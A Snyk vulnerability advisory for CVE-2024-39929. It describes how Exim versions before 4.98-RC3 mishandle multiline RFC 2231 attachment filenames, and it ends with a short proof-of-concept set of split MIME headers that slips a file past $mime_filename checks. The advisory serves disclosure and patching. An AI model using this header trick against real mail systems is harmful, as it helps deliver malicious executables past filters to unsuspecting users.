Improper Input Validation Affecting exim/exim package, versions [,4.98-RC3)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-UNMANAGED-EXIMEXIM-7430257
- published8 Jul 2024
- disclosed4 Jul 2024
- creditUnknown
Introduced: 4 Jul 2024
CVE-2024-39929 (opens in a new tab)How to fix?
Upgrade exim/exim to version 4.98-RC3 or higher.
Overview
Affected versions of this package are vulnerable to Improper Input Validation in handling multiline RFC 2231 header filenames. An attacker can compose attachment headers that allow sending a malicious file that bypasses $mime_filename checks. If this file contains a malicious executable and the attacker convinces a user to open it it may execute malicious code.
PoC
MIME-Version: 1.0
Content-Type: application/pdf;
name*0*=iso-8859-1''xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.pd;
name*1=f
Content-Disposition: attachment;
filename*0*=iso-8859-1''xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
filename*1=x.pdf
Content-Transfer-Encoding: base64